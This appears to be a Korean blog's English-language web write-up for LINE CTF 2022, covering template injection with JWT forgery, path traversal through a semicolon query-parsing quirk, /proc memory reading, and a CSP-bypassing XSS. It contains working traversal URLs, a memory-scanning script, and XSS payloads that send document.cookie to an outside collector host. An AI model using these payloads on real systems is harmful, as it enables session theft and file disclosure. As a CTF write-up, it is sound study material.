Profile

i love cat

as3617

LINE CTF 2022 web writeup

GOTM

func root_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, _ := jwt_decode(token)
        acc := get_account(id)
        tpl, err := template.New("").Parse("Logged in as " + acc.id)
        if err != nil {
        }
        tpl.Execute(w, &acc)
    } else {

        return
    }
}

template injection is possible using id when print a login user

func flag_handler(w http.ResponseWriter, r *http.Request) {
    token := r.Header.Get("X-Token")
    if token != "" {
        id, is_admin := jwt_decode(token)
        if is_admin == true {
            p := Resp{true, "Hi " + id + ", flag is " + flag}
            res, err := json.Marshal(p)
            if err != nil {
            }
            w.Write(res)
            return
        } else {
            w.WriteHeader(http.StatusForbidden)
            return
        }
    }
}

In order to get the flag, attacker need to login as admin.

image

already leaked secret key using ssti, so we can get the flag by forging token and login

image

FLAG : LINECTF{country_roads_takes_me_home}

Memo Drive

def view(request):
    context = {}

    try:
        context['request'] = request
        clientId = getClientID(request.client.host)

        if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
            raise

        filename = request.query_params[clientId]
        path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

        f = open(path, 'r')
        contents = f.readlines()
        f.close()

        context['filename'] = filename
        context['contents'] = contents

    except:
        pass

    return templates.TemplateResponse('/view/view.html', context)

look at the part where the path is generated to read the file, there are some strange parts.

path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

sending any parameter by bypass filter, we can control the path to read the flag

https://github.com/encode/starlette/issues/1325

according to this issue, the semicolon included in url is recognized as & and parsed

we can use this to bypass the filter and read the flag

http://34.146.195.115/view?e3798c5697b2a909c4af2f665982188c=flag;/%2e%2e/
FLAG : LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

online-library

app.get("/:t/:s/:e", function (req, res) {
    var s = Number(req.params.s);
    var e = Number(req.params.e);
    var t = req.params.t;
    if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
        res.end("Invalid character in book title.");
    }
    else {
        Fs.stat("public/".concat(t), function (err, stats) {
            if (err) {
                res.end("No such a book in bookself.");
            }
            else {
                if (s !== NaN && e !== NaN && s < e) {
                    if ((e - s) > (1024 * 256)) {
                        res.end("Too large to read.");
                    }
                    else {
                        Fs.open("public/".concat(t), "r", function (err, fd) {
                            if (err || typeof fd !== "number") {
                                res.end("Invalid argument.");
                            }
                            else {
                                var buf = Buffer.alloc(e - s);
                                Fs.read(fd, buf, 0, (e - s), s, function (err, bytesRead, buf) {
                                    res.end("<h1>".concat(t, "</h1><hr/>") + buf.toString("utf-8"));
                                });
                            }
                        });
                    }
                }
                else {
                    res.end("There isn't size of book.");
                }
            }
        });
    }
});

we can read /proc/self/environ content if send a request like/..%2f..%2fproc%2fself%2fenviron/0/1024

image

For to get xss, we need to upload payload to the server, so i checked the process memory of node and found my request data.

Now that we know that our request data is in memory, we can get the flag by sending a request with payload to the server and reporting the url to the bot.

import requests
i= 1
offset = 262144
while(True):
    url = f"http://35.243.100.112/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fself%2fmem/{offset * (i-1)}/{offset *i}"
    res = requests.get(url)
    i=i+1
    if b"as3617hihi" in res.content:
        print(url)
while true;do curl 'http://35.243.100.112/insert' -d "title=asdf&content=as3617hihi<script>window.location='https://enllwt2ugqrt.x.pipedream.net/'+document.cookie</script>" > /dev/null; done;
FLAG : LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}

Haribote Secure Note

<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-btRbWy6Oy1ZK7+ElUPbxW6JhEd0='
    'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
          http-equiv="Content-Security-Policy">

Since csp is applied and new nonce is issued for each request, we need to use the tag that already has nonce applied.

{% if current_user.is_admin %}
        <section id="sharedUserInfo">
            <button id="printInfoBtn" type="button" class="btn btn-sm btn-outline-secondary btn-block">👀 Check shared
                user information
            </button>
        </section>
        <script nonce="{{ csp_nonce }}">
            const printInfo = () => {
                const sharedUserId = "{{ shared_user_id }}";
                const sharedUserName = "{{ shared_user_name }}";

                const div = document.createElement('div');
                div.classList.add('alert')
                div.classList.add('alert-warning')
                div.innerHTML = [
                    `[debug:${new Date().toISOString()}]`,
                    `UserId="${sharedUserId}"`,
                    `DisplayName="${sharedUserName}"`
                ].join(' ');
                const sharedUserInfo = document.getElementById('sharedUserInfo');
                sharedUserInfo.replaceChildren(div);
            }

            const printInfoBtn = document.getElementById('printInfoBtn');
            printInfoBtn.addEventListener('click', printInfo);
        </script>
    {% endif %}

we can inject 16 bytes of shared_user_name in the admin page.

    <script nonce="{{ csp_nonce }}">
        const render = notes => {
            const noteArea = document.getElementById("notes");

            notes.sort((a, b) => Date.parse(a.createdAt) - Date.parse(b.createdAt));
            for (const note of notes) {
                const noteDiv = document.createElement("div");
                noteDiv.classList.add("p-2")
                noteDiv.classList.add("bg-light")
                noteDiv.classList.add("border")

                const title = document.createElement("h2");
                title.innerHTML = note.title;
                noteDiv.appendChild(title);

                const content = document.createElement("p");
                content.innerHTML = note.content;
                noteDiv.appendChild(content);

                const createdAt = document.createElement("time");
                createdAt.innerHTML = `Created at: ${note.createdAt}`;
                noteDiv.appendChild(createdAt)

                noteArea.appendChild(noteDiv);
            }
        };
        render({{ notes }})
    </script>

second, data in notes is not escape, so we can use it to inject data into the script tag.

After that, I found an interesting post.

https://www.hahwul.com/2019/07/08/xss-payload-for-escaping-string-in/

image

I can get the flag using the following payload.

Displayname: <!--<script/"/*
Content: <img src="*/};location.href=`//server/`+document.cookie;//</script>">
FLAG : LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}

'ctf writeup' 카테고리의 다른 글

Balsn CTF 2022 2linenodejs writeup  (0) 2022.09.07
2022 Fall GoN Open Qual CTF writeup  (2) 2022.09.01
Codegate 2022 Preliminary writeup  (0) 2022.02.27
Real World CTF 4th - web writeup  (0) 2022.01.30
m0leconCTF 2021 final web writeup  (0) 2021.12.04